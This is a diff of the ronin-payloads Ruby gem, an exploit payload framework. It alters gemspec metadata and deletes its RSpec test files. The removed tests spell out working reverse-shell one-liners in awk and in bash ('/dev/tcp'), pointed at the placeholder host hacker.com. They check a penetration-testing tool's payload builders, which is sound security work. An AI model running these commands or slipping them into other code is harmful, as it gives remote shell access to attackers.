-
- spec/metadata/arch_spec.rb
|
337
|
-
- spec/metadata/os_spec.rb
|
338
|
-
- spec/mixins/binary_spec.rb
|
339
|
-
- spec/mixins/bind_shell_spec.rb
|
340
|
-
- spec/mixins/build_dir.rb
|
341
|
-
- spec/mixins/erb_spec.rb
|
342
|
-
- spec/mixins/network_spec.rb
|
343
|
-
- spec/mixins/post_ex_spec.rb
|
344
|
-
- spec/mixins/resolve_host_spec.rb
|
345
|
-
- spec/mixins/reverse_shell_spec.rb
|
346
|
-
- spec/mixins/tempfile_spec.rb
|
347
|
-
- spec/mixins/typescript_spec.rb
|
348
|
-
- spec/node_js_payload_spec.rb
|
349
|
-
- spec/payload_spec.rb
|
350
|
-
- spec/payloads_spec.rb
|
351
|
-
- spec/php_payload_spec.rb
|
352
|
-
- spec/powershell_payload_spec.rb
|
353
|
-
- spec/python_payload_spec.rb
|
354
|
-
- spec/ruby_payload_spec.rb
|
355
|
-
- spec/rust_payload_spec.rb
|
356
|
-
- spec/shell_payload_spec.rb
|
357
|
-
- spec/shellcode/bind_shell_payload_spec.rb
|
358
|
-
- spec/shellcode/exec_shell_payload_spec.rb
|
359
|
-
- spec/shellcode/reverse_shell_payload_spec.rb
|
360
|
-
- spec/shellcode_payload_spec.rb
|
361
|
-
- spec/spec_helper.rb
|
362
|
-
- spec/sql_payload_spec.rb
|
363
|
-
- spec/url_payload_spec.rb
|
364
|
-
- spec/xml_payload_spec.rb
|
365
262
|
homepage: https://ronin-rb.dev/
|
366
263
|
licenses:
|
367
264
|
- LGPL-3.0
|
368
265
|
metadata:
|
369
|
-
documentation_uri: https://
|
266
|
+
documentation_uri: https://ronin-rb.dev/docs/ronin-payloads
|
370
267
|
source_code_uri: https://github.com/ronin-rb/ronin-payloads
|
371
268
|
bug_tracker_uri: https://github.com/ronin-rb/ronin-payloads/issues
|
372
|
-
changelog_uri: https://github.com/ronin-rb/ronin-payloads/blob/
|
269
|
+
changelog_uri: https://github.com/ronin-rb/ronin-payloads/blob/main/ChangeLog.md
|
270
|
+
rubygems_mfa_required: 'true'
|
373
271
|
post_install_message:
|
374
272
|
rdoc_options: []
|
375
273
|
require_paths:
|
@@ -389,101 +287,4 @@ rubygems_version: 3.3.26
|
|
389
287
|
signing_key:
|
390
288
|
specification_version: 4
|
391
289
|
summary: A Ruby micro-framework for writing and running exploit payloads
|
392
|
-
test_files:
|
393
|
-
- spec/asm_payload_spec.rb
|
394
|
-
- spec/binary_payload_spec.rb
|
395
|
-
- spec/builtin/cmd/awk/reverse_shell_spec.rb
|
396
|
-
- spec/builtin/cmd/bash/reverse_shell_spec.rb
|
397
|
-
- spec/builtin/cmd/lua/reverse_shell_spec.rb
|
398
|
-
- spec/builtin/cmd/node/reverse_shell_spec.rb
|
399
|
-
- spec/builtin/cmd/openssl/reverse_shell_spec.rb
|
400
|
-
- spec/builtin/cmd/perl/reverse_shell_spec.rb
|
401
|
-
- spec/builtin/cmd/php/reverse_shell_spec.rb
|
402
|
-
- spec/builtin/cmd/powershell/reverse_shell_spec.rb
|
403
|
-
- spec/builtin/cmd/python/reverse_shell_spec.rb
|
404
|
-
- spec/builtin/cmd/ruby/reverse_shell_spec.rb
|
405
|
-
- spec/builtin/java/reverse_shell_spec.rb
|
406
|
-
- spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb
|
407
|
-
- spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb
|
408
|
-
- spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb
|
409
|
-
- spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb
|
410
|
-
- spec/builtin/shellcode/linux/arm/bind_shell_spec.rb
|
411
|
-
- spec/builtin/shellcode/linux/arm/exec_shell_spec.rb
|
412
|
-
- spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb
|
413
|
-
- spec/builtin/shellcode/linux/mips/bind_shell_spec.rb
|
414
|
-
- spec/builtin/shellcode/linux/mips/exec_shell_spec.rb
|
415
|
-
- spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb
|
416
|
-
- spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb
|
417
|
-
- spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb
|
418
|
-
- spec/builtin/shellcode/linux/x86/bind_shell_spec.rb
|
419
|
-
- spec/builtin/shellcode/linux/x86/exec_shell_spec.rb
|
420
|
-
- spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb
|
421
|
-
- spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb
|
422
|
-
- spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb
|
423
|
-
- spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb
|
424
|
-
- spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb
|
425
|
-
- spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb
|
426
|
-
- spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb
|
427
|
-
- spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb
|
428
|
-
- spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb
|
429
|
-
- spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb
|
430
|
-
- spec/builtin/shellcode/windows/x86_64/cmd_spec.rb
|
431
|
-
- spec/builtin/test/open_redirect_spec.rb
|
432
|
-
- spec/builtin/test/xss_spec.rb
|
433
|
-
- spec/c_payload_spec.rb
|
434
|
-
- spec/cli/commands/show_spec.rb
|
435
|
-
- spec/cli/encoder_methods_spec.rb
|
436
|
-
- spec/cli/format_option_spec.rb
|
437
|
-
- spec/cli/payload_command_spec.rb
|
438
|
-
- spec/cli/payload_methods_spec.rb
|
439
|
-
- spec/cli/printing_spec.rb
|
440
|
-
- spec/cli/ruby_shell_spec.rb
|
441
|
-
- spec/coldfusion_payload_spec.rb
|
442
|
-
- spec/command_payload_spec.rb
|
443
|
-
- spec/encoders/builtin/html/encode_spec.rb
|
444
|
-
- spec/encoders/builtin/js/encode_spec.rb
|
445
|
-
- spec/encoders/builtin/powershell/encode_spec.rb
|
446
|
-
- spec/encoders/builtin/shell/encode_spec.rb
|
447
|
-
- spec/encoders/builtin/sql/encode_spec.rb
|
448
|
-
- spec/encoders/builtin/xml/encode_spec.rb
|
449
|
-
- spec/encoders/encoder_spec.rb
|
450
|
-
- spec/encoders/html_encoder_spec.rb
|
451
|
-
- spec/encoders/javascript_encoder_spec.rb
|
452
|
-
- spec/encoders/pipeline_spec.rb
|
453
|
-
- spec/encoders/powershell_encoder_spec.rb
|
454
|
-
- spec/encoders/shell_encoder_spec.rb
|
455
|
-
- spec/encoders/sql_encoder_spec.rb
|
456
|
-
- spec/encoders/xml_encoder_spec.rb
|
457
|
-
- spec/encoders_spec.rb
|
458
|
-
- spec/go_payload_spec.rb
|
459
|
-
- spec/html_payload_spec.rb
|
460
|
-
- spec/java_payload_spec.rb
|
461
|
-
- spec/javascript_payload_spec.rb
|
462
|
-
- spec/jsp_payload_spec.rb
|
463
|
-
- spec/metadata/arch_spec.rb
|
464
|
-
- spec/metadata/os_spec.rb
|
465
|
-
- spec/mixins/binary_spec.rb
|
466
|
-
- spec/mixins/bind_shell_spec.rb
|
467
|
-
- spec/mixins/erb_spec.rb
|
468
|
-
- spec/mixins/network_spec.rb
|
469
|
-
- spec/mixins/post_ex_spec.rb
|
470
|
-
- spec/mixins/resolve_host_spec.rb
|
471
|
-
- spec/mixins/reverse_shell_spec.rb
|
472
|
-
- spec/mixins/tempfile_spec.rb
|
473
|
-
- spec/mixins/typescript_spec.rb
|
474
|
-
- spec/node_js_payload_spec.rb
|
475
|
-
- spec/payload_spec.rb
|
476
|
-
- spec/payloads_spec.rb
|
477
|
-
- spec/php_payload_spec.rb
|
478
|
-
- spec/powershell_payload_spec.rb
|
479
|
-
- spec/python_payload_spec.rb
|
480
|
-
- spec/ruby_payload_spec.rb
|
481
|
-
- spec/rust_payload_spec.rb
|
482
|
-
- spec/shell_payload_spec.rb
|
483
|
-
- spec/shellcode/bind_shell_payload_spec.rb
|
484
|
-
- spec/shellcode/exec_shell_payload_spec.rb
|
485
|
-
- spec/shellcode/reverse_shell_payload_spec.rb
|
486
|
-
- spec/shellcode_payload_spec.rb
|
487
|
-
- spec/sql_payload_spec.rb
|
488
|
-
- spec/url_payload_spec.rb
|
489
|
-
- spec/xml_payload_spec.rb
|
290
|
+
test_files: []
|
data/spec/asm_payload_spec.rb
DELETED
@@ -1,114 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/asm_payload'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::ASMPayload do
|
5
|
-
it "must inherit from Ronin::Payloads::BinaryPayload" do
|
6
|
-
expect(described_class.superclass).to be(Ronin::Payloads::BinaryPayload)
|
7
|
-
end
|
8
|
-
|
9
|
-
it "must include Ronin::Payloads::Metadata::Arch" do
|
10
|
-
expect(described_class).to include(Ronin::Payloads::Metadata::Arch)
|
11
|
-
end
|
12
|
-
|
13
|
-
it "must include Ronin::Payloads::Metadata::OS" do
|
14
|
-
expect(described_class).to include(Ronin::Payloads::Metadata::OS)
|
15
|
-
end
|
16
|
-
|
17
|
-
describe ".assembler" do
|
18
|
-
before do
|
19
|
-
@as = ENV['AS']
|
20
|
-
ENV.delete('AS')
|
21
|
-
end
|
22
|
-
|
23
|
-
subject { described_class }
|
24
|
-
|
25
|
-
context "when ENV['AS'] is set" do
|
26
|
-
let(:as) { 'arm-linux-gnu-as' }
|
27
|
-
|
28
|
-
before { ENV['AS'] = as }
|
29
|
-
|
30
|
-
it "must return ENV['AS']" do
|
31
|
-
expect(subject.assembler).to eq(as)
|
32
|
-
end
|
33
|
-
|
34
|
-
after { ENV.delete('AS') }
|
35
|
-
end
|
36
|
-
|
37
|
-
context "when ENV['AS'] is not set" do
|
38
|
-
it "must return 'as'" do
|
39
|
-
expect(subject.assembler).to eq('as')
|
40
|
-
end
|
41
|
-
end
|
42
|
-
|
43
|
-
after { ENV['AS'] = @as if @as }
|
44
|
-
end
|
45
|
-
|
46
|
-
describe "params" do
|
47
|
-
subject { described_class }
|
48
|
-
|
49
|
-
it "must define a :as param" do
|
50
|
-
expect(subject.params[:assembler]).to_not be_nil
|
51
|
-
end
|
52
|
-
|
53
|
-
it "must default the :as param to #{described_class}.as" do
|
54
|
-
expect(subject.params[:assembler].default_value).to eq(subject.assembler)
|
55
|
-
end
|
56
|
-
end
|
57
|
-
|
58
|
-
describe "#assemble" do
|
59
|
-
let(:source_files) { %w[foo.s bar.s baz.s] }
|
60
|
-
let(:output) { 'output.o' }
|
61
|
-
|
62
|
-
it "must call system with params[:assembler], the output and source files" do
|
63
|
-
expect(subject).to receive(:system).with(
|
64
|
-
subject.params[:assembler],'-o',output,*source_files
|
65
|
-
).and_return(true)
|
66
|
-
|
67
|
-
subject.assemble(*source_files, output: output)
|
68
|
-
end
|
69
|
-
|
70
|
-
context "when the defs: keyword argument is given" do
|
71
|
-
let(:name1) { "foo" }
|
72
|
-
let(:value1) { "1" }
|
73
|
-
let(:name2) { "bar" }
|
74
|
-
let(:value2) { "2" }
|
75
|
-
let(:defs) { {name1 => value1, name2 => value2} }
|
76
|
-
|
77
|
-
it "must append the values with '--defsym' flags" do
|
78
|
-
expect(subject).to receive(:system).with(
|
79
|
-
subject.params[:assembler],
|
80
|
-
'-o', output,
|
81
|
-
"--defsym", "#{name1}=#{value1}",
|
82
|
-
"--defsym", "#{name2}=#{value2}",
|
83
|
-
*source_files
|
84
|
-
).and_return(true)
|
85
|
-
|
86
|
-
subject.assemble(*source_files, output: output, defs: defs)
|
87
|
-
end
|
88
|
-
end
|
89
|
-
|
90
|
-
context "when system() returns false" do
|
91
|
-
let(:source_file) { 'foo.s' }
|
92
|
-
|
93
|
-
it do
|
94
|
-
allow(subject).to receive(:system).and_return(false)
|
95
|
-
|
96
|
-
expect {
|
97
|
-
subject.assemble(source_file, output: output)
|
98
|
-
}.to raise_error(Ronin::Payloads::BuildFailed,"assembler command failed: #{subject.params[:assembler]} -o #{output} #{source_file}")
|
99
|
-
end
|
100
|
-
end
|
101
|
-
|
102
|
-
context "when system() returns nil" do
|
103
|
-
let(:source_file) { 'foo.s' }
|
104
|
-
|
105
|
-
it do
|
106
|
-
allow(subject).to receive(:system).and_return(nil)
|
107
|
-
|
108
|
-
expect {
|
109
|
-
subject.assemble(source_file, output: output)
|
110
|
-
}.to raise_error(Ronin::Payloads::BuildFailed,"assembler command not installed")
|
111
|
-
end
|
112
|
-
end
|
113
|
-
end
|
114
|
-
end
|
data/spec/binary_payload_spec.rb
DELETED
@@ -1,38 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/cmd/awk/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CMD::Awk::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::CommandPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::CommandPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'cmd/awk/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('cmd/awk/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.build }
|
31
|
-
|
32
|
-
it "must build an `awk` command that connects back to the host and port params" do
|
33
|
-
expect(subject.payload).to eq(
|
34
|
-
%{awk 'BEGIN {s = "/inet/tcp/0/#{host}/#{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null}
|
35
|
-
)
|
36
|
-
end
|
37
|
-
end
|
38
|
-
end
|
@@ -1,36 +0,0 @@
|
|
1
|
-
require 'spec_helper'
|
2
|
-
require 'ronin/payloads/builtin/cmd/bash/reverse_shell'
|
3
|
-
|
4
|
-
describe Ronin::Payloads::CMD::Bash::ReverseShell do
|
5
|
-
it "must inherit from Ronin::Payloads::CommandPayload" do
|
6
|
-
expect(described_class).to be < Ronin::Payloads::CommandPayload
|
7
|
-
end
|
8
|
-
|
9
|
-
describe ".id" do
|
10
|
-
subject { described_class }
|
11
|
-
|
12
|
-
it "must equal 'cmd/bash/reverse_shell'" do
|
13
|
-
expect(subject.id).to eq('cmd/bash/reverse_shell')
|
14
|
-
end
|
15
|
-
end
|
16
|
-
|
17
|
-
let(:host) { 'hacker.com' }
|
18
|
-
let(:port) { 1337 }
|
19
|
-
|
20
|
-
subject do
|
21
|
-
described_class.new(
|
22
|
-
params: {
|
23
|
-
host: host,
|
24
|
-
port: port
|
25
|
-
}
|
26
|
-
)
|
27
|
-
end
|
28
|
-
|
29
|
-
describe "#build" do
|
30
|
-
before { subject.build }
|
31
|
-
|
32
|
-
it "must build an `bash` command that connects back to the host and port params" do
|
33
|
-
expect(subject.payload).to eq("bash -i >& /dev/tcp/#{host}/#{port} 0>&1")
|
34
|
-
end
|
35
|
-
end
|
36
|
-
end
|